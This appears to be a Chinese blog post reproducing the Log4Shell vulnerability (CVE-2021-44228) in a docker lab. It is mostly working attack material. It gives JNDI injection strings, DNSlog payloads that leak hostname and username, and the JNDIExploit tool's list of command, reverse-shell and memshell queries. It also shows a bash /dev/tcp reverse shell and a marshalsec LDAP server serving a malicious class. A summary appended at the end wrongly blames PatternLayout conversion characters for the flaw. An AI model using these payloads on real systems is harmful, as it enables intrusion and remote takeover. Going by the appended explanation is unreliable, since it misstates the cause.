复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

目录

前言

漏洞原理

影响范围

环境搭建&漏洞复现

使用工具JNDIExploit-1.2-SNAPSHOT.jar


前言

近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在中间件、开发框架与Web应用中。 2021年11月24日,阿里云安全团队向apache官方报告了这一漏洞其存在远程命令执行漏洞。

漏洞原理

由于Apache Log4j2某些功能存在递归解析功能,可直接被恶意攻击者构造恶意请求,受影响的应用包括 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。 只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。

影响范围

Apache Log4j2 version < Apache Log4j2 2.15.0-rc2

环境搭建&漏洞复现

使用docker直接拉即可

sudo docker pull vulfocus/log4j2-rce-2021-12-09

sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09

启动环境之后可以使用浏览器访问

注入测试参数payload=${jndi:ldap://7mjkro.dnslog.cn/exp}

利用DNSlog还可以实现查看主机名、用户
${jndi:ldap://${env:HOSTNAME}.66ylcg.dnslog.cn/exp}

${jndi:dns://${sys:user.name}.swr800.dnslog.cn}

使用工具JNDIExploit-1.2-SNAPSHOT.jar

参考说明:https://github.com/Jeromeyoung/JNDIExploit-1
使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数
使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式
PS C:\Users\JieteWang\Desktop\Log4j-exp\poc> java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://null:1389/Basic/Dnslog/[domain]
    ldap://null:1389/Basic/Command/[cmd]
    ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Basic/TomcatEcho
    ldap://null:1389/Basic/SpringEcho
    ldap://null:1389/Basic/WeblogicEcho
    ldap://null:1389/Basic/TomcatMemshell1
    ldap://null:1389/Basic/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/Basic/JettyMemshell
    ldap://null:1389/Basic/WeblogicMemshell1
    ldap://null:1389/Basic/WeblogicMemshell2
    ldap://null:1389/Basic/JBossMemshell
    ldap://null:1389/Basic/WebsphereMemshell
    ldap://null:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://null:1389/Deserialization/URLDNS/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://null:1389/Deserialization/C3P0/SpringEcho
    ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell
    ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells
[+] TomcatBypass Queries
    ldap://null:1389/TomcatBypass/Dnslog/[domain]
    ldap://null:1389/TomcatBypass/Command/[cmd]
    ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/TomcatBypass/TomcatEcho
    ldap://null:1389/TomcatBypass/SpringEcho
    ldap://null:1389/TomcatBypass/TomcatMemshell1
    ldap://null:1389/TomcatBypass/TomcatMemshell2  ---need extra header [shell: true]
    ldap://null:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
    ldap://null:1389/GroovyBypass/Command/[cmd]
    ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
    ldap://null:1389/WebsphereBypass/List/file=[file or directory]
    ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://null:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp

java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.101.21 

试了很多LDAP格式都未成功,特别是使用Dnslog的时候
${jndi: ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC90ZXN0}, dG91Y2ggL3RtcC90ZXN0是命令【touch /tmp/test】创建一个名叫test的文件

0x01反弹shell
${jndi: ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/bash -i >& /dev/tcp/192.168.163.129/9990 0>&1}
0x02反弹shell
试了两种方法,都是失败了,怀疑是jdk版本的问题。。。。。。
测试方法如下
使用./src/ExecTemplateJDK7.java 修改里面的host和port为要反弹的地址(如果是linux,使用./src/linux.java就行了,其实就是cmd.exe改成/bin/bash)
然后javac ExecTemplateJDK7.java,生成ExecTemplateJDK7.class
然后在kali上开http服务`python3 -m http.server 9092`,以及监听端口`nc -l 9091`
然后同样在kali上 `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.10.10:9092/#ExecTemplateJDK7 1389`
最后${jndi: ldap://192.168.163.128:1389 }
效果是jdni上收到请求消息
Send LDAP reference result for dd redirecting to http://192.168.163.128:9092/ExecTemplateJDK7.class
导致一步之前都没得问题,这一步之后就不行了。 httpserver请求 `[10/Dec/2021 10:04:39] "GET /ExecTemplateJDK7.class HTTP/1.1" 200`
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值